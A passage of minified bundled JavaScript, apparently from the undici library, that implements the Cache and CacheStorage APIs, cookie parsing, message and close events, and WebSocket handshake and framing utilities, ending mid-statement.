Rz4=v(($8w,Lz4)=>{var{kConstruct:Ji3}=tK1(),{urlEquals:Oi3,getFieldValues:G46}=kz4(),{kEnumerableProperty:n8A,isDisturbed:Xi3}=j9(),{webidl:dK}=SZ(),{Response:$i3,cloneResponse:_i3,fromInnerResponse:Gi3}=QRA(),{Request:VQ,fromInnerRequest:Zi3}=u0A(),{kState:fy}=kn(),{fetching:Wi3}=pRA(),{urlIsHttpHttpsScheme:eK1,createDeferredPromise:g0A,readAllBytes:Di3}=ZT(),Z46=CA("node:assert");class Nx{#A;constructor(){if(arguments[0]!==Ji3)dK.illegalConstructor();dK.util.markAsUncloneable(this),this.#A=arguments[1]}async match(A,K={}){dK.brandCheck(this,Nx);let q="Cache.match";dK.argumentLengthCheck(arguments,1,q),A=dK.converters.RequestInfo(A,q,"request"),K=dK.converters.CacheQueryOptions(K,q,"options");let Y=this.#Y(A,K,1);if(Y.length===0)return;return Y[0]}async matchAll(A=void 0,K={}){dK.brandCheck(this,Nx);let q="Cache.matchAll";if(A!==void 0)A=dK.converters.RequestInfo(A,q,"request");return K=dK.converters.CacheQueryOptions(K,q,"options"),this.#Y(A,K)}async add(A){dK.brandCheck(this,Nx);let K="Cache.add";dK.argumentLengthCheck(arguments,1,K),A=dK.converters.RequestInfo(A,K,"request");let q=[A];return await this.addAll(q)}async addAll(A){dK.brandCheck(this,Nx);let K="Cache.addAll";dK.argumentLengthCheck(arguments,1,K);let q=[],Y=[];for(let _ of A){if(_===void 0)throw dK.errors.conversionFailed({prefix:K,argument:"Argument 1",types:["undefined is not allowed"]});if(_=dK.converters.RequestInfo(_),typeof _==="string")continue;let G=_[fy];if(!eK1(G.url)||G.method!=="GET")throw dK.errors.exception({header:K,message:"Expected http/s scheme when method is not GET."})}let z=[];for(let _ of A){let G=new VQ(_)[fy];if(!eK1(G.url))throw dK.errors.exception({header:K,message:"Expected http/s scheme."});G.initiator="fetch",G.destination="subresource",Y.push(G);let Z=g0A();z.push(Wi3({request:G,processResponse(W){if(W.type==="error"||W.status===206||W.status<200||W.status>299)Z.reject(dK.errors.exception({header:"Cache.addAll",message:"Received an invalid status code or the request failed."}));else if(W.headersList.contains("vary")){let D=G46(W.headersList.get("vary"));for(let j of D)if(j==="*"){Z.reject(dK.errors.exception({header:"Cache.addAll",message:"invalid vary field value"}));for(let M of z)M.abort();return}}},processResponseEndOfBody(W){if(W.aborted){Z.reject(new DOMException("aborted","AbortError"));return}Z.resolve(W)}})),q.push(Z.promise)}let H=await Promise.all(q),J=[],O=0;for(let _ of H){let G={type:"put",request:Y[O],response:_};J.push(G),O++}let X=g0A(),$=null;try{this.#K(J)}catch(_){$=_}return queueMicrotask(()=>{if($===null)X.resolve(void 0);else X.reject($)}),X.promise}async put(A,K){dK.brandCheck(this,Nx);let q="Cache.put";dK.argumentLengthCheck(arguments,2,q),A=dK.converters.RequestInfo(A,q,"request"),K=dK.converters.Response(K,q,"response");let Y=null;if(A instanceof VQ)Y=A[fy];else Y=new VQ(A)[fy];if(!eK1(Y.url)||Y.method!=="GET")throw dK.errors.exception({header:q,message:"Expected an http/s scheme when method is not GET"});let z=K[fy];if(z.status===206)throw dK.errors.exception({header:q,message:"Got 206 status"});if(z.headersList.contains("vary")){let G=G46(z.headersList.get("vary"));for(let Z of G)if(Z==="*")throw dK.errors.exception({header:q,message:"Got * vary field value"})}if(z.body&&(Xi3(z.body.stream)||z.body.stream.locked))throw dK.errors.exception({header:q,message:"Response body is locked or disturbed"});let w=_i3(z),H=g0A();if(z.body!=null){let Z=z.body.stream.getReader();Di3(Z).then(H.resolve,H.reject)}else H.resolve(void 0);let J=[],O={type:"put",request:Y,response:w};J.push(O);let X=await H.promise;if(w.body!=null)w.body.source=X;let $=g0A(),_=null;try{this.#K(J)}catch(G){_=G}return queueMicrotask(()=>{if(_===null)$.resolve();else $.reject(_)}),$.promise}async delete(A,K={}){dK.brandCheck(this,Nx);let q="Cache.delete";dK.argumentLengthCheck(arguments,1,q),A=dK.converters.RequestInfo(A,q,"request"),K=dK.converters.CacheQueryOptions(K,q,"options");let Y=null;if(A instanceof VQ){if(Y=A[fy],Y.method!=="GET"&&!K.ignoreMethod)return!1}else Z46(typeof A==="string"),Y=new VQ(A)[fy];let z=[],w={type:"delete",request:Y,options:K};z.push(w);let H=g0A(),J=null,O;try{O=this.#K(z)}catch(X){J=X}return queueMicrotask(()=>{if(J===null)H.resolve(!!O?.length);else H.reject(J)}),H.promise}async keys(A=void 0,K={}){dK.brandCheck(this,Nx);let q="Cache.keys";if(A!==void 0)A=dK.converters.RequestInfo(A,q,"request");K=dK.converters.CacheQueryOptions(K,q,"options");let Y=null;if(A!==void 0){if(A instanceof VQ){if(Y=A[fy],Y.method!=="GET"&&!K.ignoreMethod)return[]}else if(typeof A==="string")Y=new VQ(A)[fy]}let z=g0A(),w=[];if(A===void 0)for(let H of this.#A)w.push(H[0]);else{let H=this.#q(Y,K);for(let J of H)w.push(J[0])}return queueMicrotask(()=>{let H=[];for(let J of w){let O=Zi3(J,new AbortController().signal,"immutable");H.push(O)}z.resolve(Object.freeze(H))}),z.promise}#K(A){let K=this.#A,q=[...K],Y=[],z=[];try{for(let w of A){if(w.type!=="delete"&&w.type!=="put")throw dK.errors.exception({header:"Cache.#batchCacheOperations",message:'operation type does not match "delete" or "put"'});if(w.type==="delete"&&w.response!=null)throw dK.errors.exception({header:"Cache.#batchCacheOperations",message:"delete operation should not have an associated response"});if(this.#q(w.request,w.options,Y).length)throw new DOMException("???","InvalidStateError");let H;if(w.type==="delete"){if(H=this.#q(w.request,w.options),H.length===0)return[];for(let J of H){let O=K.indexOf(J);Z46(O!==-1),K.splice(O,1)}}else if(w.type==="put"){if(w.response==null)throw dK.errors.exception({header:"Cache.#batchCacheOperations",message:"put operation should have an associated response"});let J=w.request;if(!eK1(J.url))throw dK.errors.exception({header:"Cache.#batchCacheOperations",message:"expected http or https scheme"});if(J.method!=="GET")throw dK.errors.exception({header:"Cache.#batchCacheOperations",message:"not get method"});if(w.options!=null)throw dK.errors.exception({header:"Cache.#batchCacheOperations",message:"options must not be defined"});H=this.#q(w.request);for(let O of H){let X=K.indexOf(O);Z46(X!==-1),K.splice(X,1)}K.push([w.request,w.response]),Y.push([w.request,w.response])}z.push([w.request,w.response])}return z}catch(w){throw this.#A.length=0,this.#A=q,w}}#q(A,K,q){let Y=[],z=q??this.#A;for(let w of z){let[H,J]=w;if(this.#z(A,H,J,K))Y.push(w)}return Y}#z(A,K,q=null,Y){let z=new URL(A.url),w=new URL(K.url);if(Y?.ignoreSearch)w.search="",z.search="";if(!Oi3(z,w,!0))return!1;if(q==null||Y?.ignoreVary||!q.headersList.contains("vary"))return!0;let H=G46(q.headersList.get("vary"));for(let J of H){if(J==="*")return!1;let O=K.headersList.get(J),X=A.headersList.get(J);if(O!==X)return!1}return!0}#Y(A,K,q=1/0){let Y=null;if(A!==void 0){if(A instanceof VQ){if(Y=A[fy],Y.method!=="GET"&&!K.ignoreMethod)return[]}else if(typeof A==="string")Y=new VQ(A)[fy]}let z=[];if(A===void 0)for(let H of this.#A)z.push(H[1]);else{let H=this.#q(Y,K);for(let J of H)z.push(J[1])}let w=[];for(let H of z){let J=Gi3(H,"immutable");if(w.push(J.clone()),w.length>=q)break}return Object.freeze(w)}}Object.defineProperties(Nx.prototype,{[Symbol.toStringTag]:{value:"Cache",configurable:!0},match:n8A,matchAll:n8A,add:n8A,addAll:n8A,put:n8A,delete:n8A,keys:n8A});var Cz4=[{key:"ignoreSearch",converter:dK.converters.boolean,defaultValue:()=>!1},{key:"ignoreMethod",converter:dK.converters.boolean,defaultValue:()=>!1},{key:"ignoreVary",converter:dK.converters.boolean,defaultValue:()=>!1}];dK.converters.CacheQueryOptions=dK.dictionaryConverter(Cz4);dK.converters.MultiCacheQueryOptions=dK.dictionaryConverter([...Cz4,{key:"cacheName",converter:dK.converters.DOMString}]);dK.converters.Response=dK.interfaceConverter($i3);dK.converters["sequence<RequestInfo>"]=dK.sequenceConverter(dK.converters.RequestInfo);Lz4.exports={Cache:Nx}});var Iz4=v((_8w,yz4)=>{var{kConstruct:lRA}=tK1(),{Cache:Aq1}=Rz4(),{webidl:CD}=SZ(),{kEnumerableProperty:iRA}=j9();class gn{#A=new Map;constructor(){if(arguments[0]!==lRA)CD.illegalConstructor();CD.util.markAsUncloneable(this)}async match(A,K={}){if(CD.brandCheck(this,gn),CD.argumentLengthCheck(arguments,1,"CacheStorage.match"),A=CD.converters.RequestInfo(A),K=CD.converters.MultiCacheQueryOptions(K),K.cacheName!=null){if(this.#A.has(K.cacheName)){let q=this.#A.get(K.cacheName);return await new Aq1(lRA,q).match(A,K)}}else for(let q of this.#A.values()){let z=await new Aq1(lRA,q).match(A,K);if(z!==void 0)return z}}async has(A){CD.brandCheck(this,gn);let K="CacheStorage.has";return CD.argumentLengthCheck(arguments,1,K),A=CD.converters.DOMString(A,K,"cacheName"),this.#A.has(A)}async open(A){CD.brandCheck(this,gn);let K="CacheStorage.open";if(CD.argumentLengthCheck(arguments,1,K),A=CD.converters.DOMString(A,K,"cacheName"),this.#A.has(A)){let Y=this.#A.get(A);return new Aq1(lRA,Y)}let q=[];return this.#A.set(A,q),new Aq1(lRA,q)}async delete(A){CD.brandCheck(this,gn);let K="CacheStorage.delete";return CD.argumentLengthCheck(arguments,1,K),A=CD.converters.DOMString(A,K,"cacheName"),this.#A.delete(A)}async keys(){return CD.brandCheck(this,gn),[...this.#A.keys()]}}Object.defineProperties(gn.prototype,{[Symbol.toStringTag]:{value:"CacheStorage",configurable:!0},match:iRA,has:iRA,open:iRA,delete:iRA,keys:iRA});yz4.exports={CacheStorage:gn}});var hz4=v((G8w,Sz4)=>{Sz4.exports={maxAttributeValueSize:1024,maxNameValuePairSize:4096}});var W46=v((Z8w,mz4)=>{function ji3(A){for(let K=0;K<A.length;++K){let q=A.charCodeAt(K);if(q>=0&&q<=8||q>=10&&q<=31||q===127)return!0}return!1}function bz4(A){for(let K=0;K<A.length;++K){let q=A.charCodeAt(K);if(q<33||q>126||q===34||q===40||q===41||q===60||q===62||q===64||q===44||q===59||q===58||q===92||q===47||q===91||q===93||q===63||q===61||q===123||q===125)throw Error("Invalid cookie name")}}function xz4(A){let K=A.length,q=0;if(A[0]==='"'){if(K===1||A[K-1]!=='"')throw Error("Invalid cookie value");--K,++q}while(q<K){let Y=A.charCodeAt(q++);if(Y<33||Y>126||Y===34||Y===44||Y===59||Y===92)throw Error("Invalid cookie value")}}function uz4(A){for(let K=0;K<A.length;++K){let q=A.charCodeAt(K);if(q<32||q===127||q===59)throw Error("Invalid cookie path")}}function Mi3(A){if(A.startsWith("-")||A.endsWith(".")||A.endsWith("-"))throw Error("Invalid cookie domain")}var Pi3=["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],Vi3=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],Kq1=Array(61).fill(0).map((A,K)=>K.toString().padStart(2,"0"));function Bz4(A){if(typeof A==="number")A=new Date(A);return`${Pi3[A.getUTCDay()]}, ${Kq1[A.getUTCDate()]} ${Vi3[A.getUTCMonth()]} ${A.getUTCFullYear()} ${Kq1[A.getUTCHours()]}:${Kq1[A.getUTCMinutes()]}:${Kq1[A.getUTCSeconds()]} GMT`}function fi3(A){if(A<0)throw Error("Invalid cookie max-age")}function Ni3(A){if(A.name.length===0)return null;bz4(A.name),xz4(A.value);let K=[`${A.name}=${A.value}`];if(A.name.startsWith("__Secure-"))A.secure=!0;if(A.name.startsWith("__Host-"))A.secure=!0,A.domain=null,A.path="/";if(A.secure)K.push("Secure");if(A.httpOnly)K.push("HttpOnly");if(typeof A.maxAge==="number")fi3(A.maxAge),K.push(`Max-Age=${A.maxAge}`);if(A.domain)Mi3(A.domain),K.push(`Domain=${A.domain}`);if(A.path)uz4(A.path),K.push(`Path=${A.path}`);if(A.expires&&A.expires.toString()!=="Invalid Date")K.push(`Expires=${Bz4(A.expires)}`);if(A.sameSite)K.push(`SameSite=${A.sameSite}`);for(let q of A.unparsed){if(!q.includes("="))throw Error("Invalid unparsed");let[Y,...z]=q.split("=");K.push(`${Y.trim()}=${z.join("=")}`)}return K.join("; ")}mz4.exports={isCTLExcludingHtab:ji3,validateCookieName:bz4,validateCookiePath:uz4,validateCookieValue:xz4,toIMFDate:Bz4,stringify:Ni3}});var Fz4=v((W8w,gz4)=>{var{maxNameValuePairSize:Ti3,maxAttributeValueSize:vi3}=hz4(),{isCTLExcludingHtab:Ei3}=W46(),{collectASequenceOfCodePointsFast:qq1}=IV(),ki3=CA("node:assert");function Ci3(A){if(Ei3(A))return null;let K="",q="",Y="",z="";if(A.includes(";")){let w={position:0};K=qq1(";",A,w),q=A.slice(w.position)}else K=A;if(!K.includes("="))z=K;else{let w={position:0};Y=qq1("=",K,w),z=K.slice(w.position+1)}if(Y=Y.trim(),z=z.trim(),Y.length+z.length>Ti3)return null;return{name:Y,value:z,...F0A(q)}}function F0A(A,K={}){if(A.length===0)return K;ki3(A[0]===";"),A=A.slice(1);let q="";if(A.includes(";"))q=qq1(";",A,{position:0}),A=A.slice(q.length);else q=A,A="";let Y="",z="";if(q.includes("=")){let H={position:0};Y=qq1("=",q,H),z=q.slice(H.position+1)}else Y=q;if(Y=Y.trim(),z=z.trim(),z.length>vi3)return F0A(A,K);let w=Y.toLowerCase();if(w==="expires"){let H=new Date(z);K.expires=H}else if(w==="max-age"){let H=z.charCodeAt(0);if((H<48||H>57)&&z[0]!=="-")return F0A(A,K);if(!/^\d+$/.test(z))return F0A(A,K);let J=Number(z);K.maxAge=J}else if(w==="domain"){let H=z;if(H[0]===".")H=H.slice(1);H=H.toLowerCase(),K.domain=H}else if(w==="path"){let H="";if(z.length===0||z[0]!=="/")H="/";else H=z;K.path=H}else if(w==="secure")K.secure=!0;else if(w==="httponly")K.httpOnly=!0;else if(w==="samesite"){let H="Default",J=z.toLowerCase();if(J.includes("none"))H="None";if(J.includes("strict"))H="Strict";if(J.includes("lax"))H="Lax";K.sameSite=H}else K.unparsed??=[],K.unparsed.push(`${Y}=${z}`);return F0A(A,K)}gz4.exports={parseSetCookie:Ci3,parseUnparsedAttributes:F0A}});var pz4=v((D8w,Uz4)=>{var{parseSetCookie:Li3}=Fz4(),{stringify:Ri3}=W46(),{webidl:o9}=SZ(),{Headers:Yq1}=d8A();function yi3(A){o9.argumentLengthCheck(arguments,1,"getCookies"),o9.brandCheck(A,Yq1,{strict:!1});let K=A.get("cookie"),q={};if(!K)return q;for(let Y of K.split(";")){let[z,...w]=Y.split("=");q[z.trim()]=w.join("=")}return q}function Ii3(A,K,q){o9.brandCheck(A,Yq1,{strict:!1});let Y="deleteCookie";o9.argumentLengthCheck(arguments,2,Y),K=o9.converters.DOMString(K,Y,"name"),q=o9.converters.DeleteCookieAttributes(q),Qz4(A,{name:K,value:"",expires:new Date(0),...q})}function Si3(A){o9.argumentLengthCheck(arguments,1,"getSetCookies"),o9.brandCheck(A,Yq1,{strict:!1});let K=A.getSetCookie();if(!K)return[];return K.map((q)=>Li3(q))}function Qz4(A,K){o9.argumentLengthCheck(arguments,2,"setCookie"),o9.brandCheck(A,Yq1,{strict:!1}),K=o9.converters.Cookie(K);let q=Ri3(K);if(q)A.append("Set-Cookie",q)}o9.converters.DeleteCookieAttributes=o9.dictionaryConverter([{converter:o9.nullableConverter(o9.converters.DOMString),key:"path",defaultValue:()=>null},{converter:o9.nullableConverter(o9.converters.DOMString),key:"domain",defaultValue:()=>null}]);o9.converters.Cookie=o9.dictionaryConverter([{converter:o9.converters.DOMString,key:"name"},{converter:o9.converters.DOMString,key:"value"},{converter:o9.nullableConverter((A)=>{if(typeof A==="number")return o9.converters["unsigned long long"](A);return new Date(A)}),key:"expires",defaultValue:()=>null},{converter:o9.nullableConverter(o9.converters["long long"]),key:"maxAge",defaultValue:()=>null},{converter:o9.nullableConverter(o9.converters.DOMString),key:"domain",defaultValue:()=>null},{converter:o9.nullableConverter(o9.converters.DOMString),key:"path",defaultValue:()=>null},{converter:o9.nullableConverter(o9.converters.boolean),key:"secure",defaultValue:()=>null},{converter:o9.nullableConverter(o9.converters.boolean),key:"httpOnly",defaultValue:()=>null},{converter:o9.converters.USVString,key:"sameSite",allowedValues:["Strict","Lax","None"]},{converter:o9.sequenceConverter(o9.converters.DOMString),key:"unparsed",defaultValue:()=>[]}]);Uz4.exports={getCookies:yi3,deleteCookie:Ii3,getSetCookies:Si3,setCookie:Qz4}});var U0A=v((j8w,cz4)=>{var{webidl:xK}=SZ(),{kEnumerableProperty:xV}=j9(),{kConstruct:dz4}=MJ(),{MessagePort:hi3}=CA("node:worker_threads");class fT extends Event{#A;constructor(A,K={}){if(A===dz4){super(arguments[1],arguments[2]);xK.util.markAsUncloneable(this);return}let q="MessageEvent constructor";xK.argumentLengthCheck(arguments,1,q),A=xK.converters.DOMString(A,q,"type"),K=xK.converters.MessageEventInit(K,q,"eventInitDict");super(A,K);this.#A=K,xK.util.markAsUncloneable(this)}get data(){return xK.brandCheck(this,fT),this.#A.data}get origin(){return xK.brandCheck(this,fT),this.#A.origin}get lastEventId(){return xK.brandCheck(this,fT),this.#A.lastEventId}get source(){return xK.brandCheck(this,fT),this.#A.source}get ports(){if(xK.brandCheck(this,fT),!Object.isFrozen(this.#A.ports))Object.freeze(this.#A.ports);return this.#A.ports}initMessageEvent(A,K=!1,q=!1,Y=null,z="",w="",H=null,J=[]){return xK.brandCheck(this,fT),xK.argumentLengthCheck(arguments,1,"MessageEvent.initMessageEvent"),new fT(A,{bubbles:K,cancelable:q,data:Y,origin:z,lastEventId:w,source:H,ports:J})}static createFastMessageEvent(A,K){let q=new fT(dz4,A,K);return q.#A=K,q.#A.data??=null,q.#A.origin??="",q.#A.lastEventId??="",q.#A.source??=null,q.#A.ports??=[],q}}var{createFastMessageEvent:bi3}=fT;delete fT.createFastMessageEvent;class Q0A extends Event{#A;constructor(A,K={}){xK.argumentLengthCheck(arguments,1,"CloseEvent constructor"),A=xK.converters.DOMString(A,"CloseEvent constructor","type"),K=xK.converters.CloseEventInit(K);super(A,K);this.#A=K,xK.util.markAsUncloneable(this)}get wasClean(){return xK.brandCheck(this,Q0A),this.#A.wasClean}get code(){return xK.brandCheck(this,Q0A),this.#A.code}get reason(){return xK.brandCheck(this,Q0A),this.#A.reason}}class Fn extends Event{#A;constructor(A,K){xK.argumentLengthCheck(arguments,1,"ErrorEvent constructor");super(A,K);xK.util.markAsUncloneable(this),A=xK.converters.DOMString(A,"ErrorEvent constructor","type"),K=xK.converters.ErrorEventInit(K??{}),this.#A=K}get message(){return xK.brandCheck(this,Fn),this.#A.message}get filename(){return xK.brandCheck(this,Fn),this.#A.filename}get lineno(){return xK.brandCheck(this,Fn),this.#A.lineno}get colno(){return xK.brandCheck(this,Fn),this.#A.colno}get error(){return xK.brandCheck(this,Fn),this.#A.error}}Object.defineProperties(fT.prototype,{[Symbol.toStringTag]:{value:"MessageEvent",configurable:!0},data:xV,origin:xV,lastEventId:xV,source:xV,ports:xV,initMessageEvent:xV});Object.defineProperties(Q0A.prototype,{[Symbol.toStringTag]:{value:"CloseEvent",configurable:!0},reason:xV,code:xV,wasClean:xV});Object.defineProperties(Fn.prototype,{[Symbol.toStringTag]:{value:"ErrorEvent",configurable:!0},message:xV,filename:xV,lineno:xV,colno:xV,error:xV});xK.converters.MessagePort=xK.interfaceConverter(hi3);xK.converters["sequence<MessagePort>"]=xK.sequenceConverter(xK.converters.MessagePort);var D46=[{key:"bubbles",converter:xK.converters.boolean,defaultValue:()=>!1},{key:"cancelable",converter:xK.converters.boolean,defaultValue:()=>!1},{key:"composed",converter:xK.converters.boolean,defaultValue:()=>!1}];xK.converters.MessageEventInit=xK.dictionaryConverter([...D46,{key:"data",converter:xK.converters.any,defaultValue:()=>null},{key:"origin",converter:xK.converters.USVString,defaultValue:()=>""},{key:"lastEventId",converter:xK.converters.DOMString,defaultValue:()=>""},{key:"source",converter:xK.nullableConverter(xK.converters.MessagePort),defaultValue:()=>null},{key:"ports",converter:xK.converters["sequence<MessagePort>"],defaultValue:()=>[]}]);xK.converters.CloseEventInit=xK.dictionaryConverter([...D46,{key:"wasClean",converter:xK.converters.boolean,defaultValue:()=>!1},{key:"code",converter:xK.converters["unsigned short"],defaultValue:()=>0},{key:"reason",converter:xK.converters.USVString,defaultValue:()=>""}]);xK.converters.ErrorEventInit=xK.dictionaryConverter([...D46,{key:"message",converter:xK.converters.DOMString,defaultValue:()=>""},{key:"filename",converter:xK.converters.USVString,defaultValue:()=>""},{key:"lineno",converter:xK.converters["unsigned long"],defaultValue:()=>0},{key:"colno",converter:xK.converters["unsigned long"],defaultValue:()=>0},{key:"error",converter:xK.converters.any}]);cz4.exports={MessageEvent:fT,CloseEvent:Q0A,ErrorEvent:Fn,createFastMessageEvent:bi3}});var r8A=v((M8w,lz4)=>{var xi3={enumerable:!0,writable:!1,configurable:!1},ui3={CONNECTING:0,OPEN:1,CLOSING:2,CLOSED:3},Bi3={NOT_SENT:0,PROCESSING:1,SENT:2},mi3={CONTINUATION:0,TEXT:1,BINARY:2,CLOSE:8,PING:9,PONG:10},gi3={INFO:0,PAYLOADLENGTH_16:2,PAYLOADLENGTH_64:3,READ_DATA:4},Fi3=Buffer.allocUnsafe(0),Qi3={string:1,typedArray:2,arrayBuffer:3,blob:4};lz4.exports={uid:"258EAFA5-E914-47DA-95CA-C5AB0DC85B11",sentCloseFrameState:Bi3,staticPropertyDescriptors:xi3,states:ui3,opcodes:mi3,maxUnsigned16Bit:65535,parserStates:gi3,emptyBuffer:Fi3,sendHints:Qi3}});var nRA=v((P8w,iz4)=>{iz4.exports={kWebSocketURL:Symbol("url"),kReadyState:Symbol("ready state"),kController:Symbol("controller"),kResponse:Symbol("response"),kBinaryType:Symbol("binary type"),kSentClose:Symbol("sent close"),kReceivedClose:Symbol("received close"),kByteParser:Symbol("byte parser")}});var aRA=v((V8w,Kw4)=>{var{kReadyState:rRA,kController:Ui3,kResponse:pi3,kBinaryType:di3,kWebSocketURL:ci3}=nRA(),{states:oRA,opcodes:Qn}=r8A(),{ErrorEvent:li3,createFastMessageEvent:ii3}=U0A(),{isUtf8:ni3}=CA("node:buffer"),{collectASequenceOfCodePointsFast:ri3,removeHTTPWhitespace:nz4}=IV();function oi3(A){return A[rRA]===oRA.CONNECTING}function ai3(A){return A[rRA]===oRA.OPEN}function si3(A){return A[rRA]===oRA.CLOSING}function ti3(A){return A[rRA]===oRA.CLOSED}function j46(A,K,q=(z,w)=>new Event(z,w),Y={}){let z=q(A,Y);K.dispatchEvent(z)}function ei3(A,K,q){if(A[rRA]!==oRA.OPEN)return;let Y;if(K===Qn.TEXT)try{Y=Aw4(q)}catch{oz4(A,"Received invalid UTF-8 in text frame.");return}else if(K===Qn.BINARY)if(A[di3]==="blob")Y=new Blob([q]);else Y=An3(q);j46("message",A,ii3,{origin:A[ci3].origin,data:Y})}function An3(A){if(A.byteLength===A.buffer.byteLength)return A.buffer;return A.buffer.slice(A.byteOffset,A.byteOffset+A.byteLength)}function Kn3(A){if(A.length===0)return!1;for(let K=0;K<A.length;++K){let q=A.charCodeAt(K);if(q<33||q>126||q===34||q===40||q===41||q===44||q===47||q===58||q===59||q===60||q===61||q===62||q===63||q===64||q===91||q===92||q===93||q===123||q===125)return!1}return!0}function qn3(A){if(A>=1000&&A<1015)return A!==1004&&A!==1005&&A!==1006;return A>=3000&&A<=4999}function oz4(A,K){let{[Ui3]:q,[pi3]:Y}=A;if(q.abort(),Y?.socket&&!Y.socket.destroyed)Y.socket.destroy();if(K)j46("error",A,(z,w)=>new li3(z,w),{error:Error(K),message:K})}function az4(A){return A===Qn.CLOSE||A===Qn.PING||A===Qn.PONG}function sz4(A){return A===Qn.CONTINUATION}function tz4(A){return A===Qn.TEXT||A===Qn.BINARY}function Yn3(A){return tz4(A)||sz4(A)||az4(A)}function zn3(A){let K={position:0},q=new Map;while(K.position<A.length){let Y=ri3(";",A,K),[z,w=""]=Y.split("=");q.set(nz4(z,!0,!1),nz4(w,!1,!0)),K.position++}return q}function wn3(A){for(let K=0;K<A.length;K++){let q=A.charCodeAt(K);if(q<48||q>57)return!1}return!0}var ez4=typeof process.versions.icu==="string",rz4=ez4?new TextDecoder("utf-8",{fatal:!0}):void 0,Aw4=ez4?rz4.decode.bind(rz4):function(A){if(ni3(A))return A.toString("utf-8");throw TypeError("Invalid utf-8 received.")};Kw4.exports={isConnecting:oi3,isEstablished:ai3,isClosing:si3,isClosed:ti3,fireEvent:j46,isValidSubprotocol:Kn3,isValidStatusCode:qn3,failWebsocketConnection:oz4,websocketMessageReceived:ei3,utf8Decode:Aw4,isControlFrame:az4,isContinuationFrame:sz4,isTextBinaryFrame:tz4,isValidOpcode:Yn3,parseExtensions:zn3,isValidClientWindowBits:wn3}});var zq1=v((f8w,Yw4)=>{var{maxUnsigned16Bit:Hn3}=r8A(),M46,sRA=null,p0A=16386;try{M46=CA("node:crypto")}catch{M46={randomFillSync:function(K,q,Y){for(let z=0;z<K.length;++z)K[z]=Math.random()*255|0;return K}}}function Jn3(){if(p0A===16386)p0A=0,M46.randomFillSync(sRA??=Buffer.allocUnsafe(16386),0,16386);return[sRA[p0A++],sRA[p0A++],sRA[p0A++],sRA[p0A++]]}class qw4{constructor(A){this.frameData=A}createFrame(A){let K=this.frameData,q=Jn3(),Y=K?.byteLength??0,z=Y,w=6;if(Y>Hn3)w+=8,z=127;else if(Y>125)w+=2,z=126;let H=Buffer.allocUnsafe(Y+w);H[0]=H[1]=0,H[0]|=128,H[0]=(H[0]&240)+A;/*! ws. MIT License. Einar Otto Stangvik <einaros@gmail.com> */if(H[w-4]=q[0],H[w-3]=q[1],H[w-2]=q[2],H[w-1]=q[3],H[1]=z,z===126)H.writeUInt16BE(Y,2);else if(z===127)H[2]=H[3]=0,H.writeUIntBE(Y,4,6);H[1]|=128;for(let J=0;J<Y;++J)H[w+J]=K[J]^q[J&3];return H}}Yw4.exports={WebsocketFrameSend:qw4}});var V46=v((N8w,$w4)=>{var{uid:On3,states:tRA,sentCloseFrameState:wq1,emptyBuffer:Xn3,opcodes:$n3}=r8A(),{kReadyState:eRA,kSentClose:Hq1,kByteParser:ww4,kReceivedClose:zw4,kResponse:Hw4}=nRA(),{fireEvent:_n3,failWebsocketConnection:Un,isClosing:Gn3,isClosed:Zn3,isEstablished:Wn3,parseExtensions:Dn3}=aRA(),{channels:d0A}=Y0A(),{CloseEvent:jn3}=U0A(),{makeRequest:Mn3}=u0A(),{fetching:Pn3}=pRA(),{Headers:Vn3,getHeadersList:fn3}=d8A(),{getDecodeSplit:Nn3}=ZT(),{WebsocketFrameSend:Tn3}=zq1(),P46;try{P46=CA("node:crypto")}catch{}function vn3(A,K,q,Y,z,w){let H=A;H.protocol=A.protocol==="ws:"?"http:":"https:";let J=Mn3({urlList:[H],client:q,serviceWorkers:"none",referrer:"no-referrer",mode:"websocket",credentials:"include",cache:"no-store",redirect:"error"});if(w.headers){let _=fn3(new Vn3(w.headers));J.headersList=_}let O=P46.randomBytes(16).toString("base64");J.headersList.append("sec-websocket-key",O),J.headersList.append("sec-websocket-version","13");for(let _ of K)J.headersList.append("sec-websocket-protocol",_);let X="permessage-deflate; client_max_window_bits";return J.headersList.append("sec-websocket-extensions",X),Pn3({request:J,useParallelQueue:!0,dispatcher:w.dispatcher,processResponse(_){if(_.type==="error"||_.status!==101){Un(Y,"Received network error or non-101 status code.");return}if(K.length!==0&&!_.headersList.get("Sec-WebSocket-Protocol")){Un(Y,"Server did not respond with sent protocols.");return}if(_.headersList.get("Upgrade")?.toLowerCase()!=="websocket"){Un(Y,'Server did not set Upgrade header to "websocket".');return}if(_.headersList.get("Connection")?.toLowerCase()!=="upgrade"){Un(Y,'Server did not set Connection header to "upgrade".');return}let G=_.headersList.get("Sec-WebSocket-Accept"),Z=P46.createHash("sha1").update(O+On3).digest("base64");if(G!==Z){Un(Y,"Incorrect hash received in Sec-WebSocket-Accept header.");return}let W=_.headersList.get("Sec-WebSocket-Extensions"),D;if(W!==null){if(D=Dn3(W),!D.has("permessage-deflate")){Un(Y,"Sec-WebSocket-Extensions header does not match.");return}}let j=_.headersList.get("Sec-WebSocket-Protocol");if(j!==null){if(!Nn3("sec-websocket-protocol",J.headersList).includes(j)){Un(Y,"Protocol was not set in the opening handshake.");return}}if(_.socket.on("data",Jw4),_.socket.on("close",Ow4),_.socket.on("error",Xw4),d0A.open.hasSubscribers)d0A.open.publish({address:_.socket.address(),protocol:j,extensions:W});z(_,D)}})}function En3(A,K,q,Y){if(Gn3(A)||Zn3(A));else if(!Wn3(A))Un(A,"Connection was closed before it was established."),A[eRA]=tRA.CLOSING;else if(A[Hq1]===wq1.NOT_SENT){A[Hq1]=wq1.PROCESSING;let z=new Tn3;if(K!==void 0&&q===void 0)z.frameData=Buffer.allocUnsafe(2),z.frameData.writeUInt16BE(K,0);else if(K!==void 0&&q!==void 0)z.frameData=Buffer.allocUnsafe(2+Y),z.frameData.writeUInt16BE(K,0),z.frameData.write(q,2,"utf-8");else z.frameData=Xn3;A[Hw4].socket.write(z.createFrame($n3.CLOSE)),A[Hq1]=wq1.SENT,A[eRA]=tRA.CLOSING}else A[eRA]=tRA.CLOSING}function Jw4(A){if(!this.ws[ww4].write(A))this.pause()}function Ow4(){let{ws:A}=this,{[Hw4]:K}=A;K.socket.off("data",Jw4),K.socket.off("close",Ow4),K.socket.off("error",Xw4);let q=A[Hq1]===wq1.SENT&&A[zw4],Y=1005,z="",w=A[ww4].closingInfo;if(w&&!w.error)Y=w.code??1005,z=w.reason;else 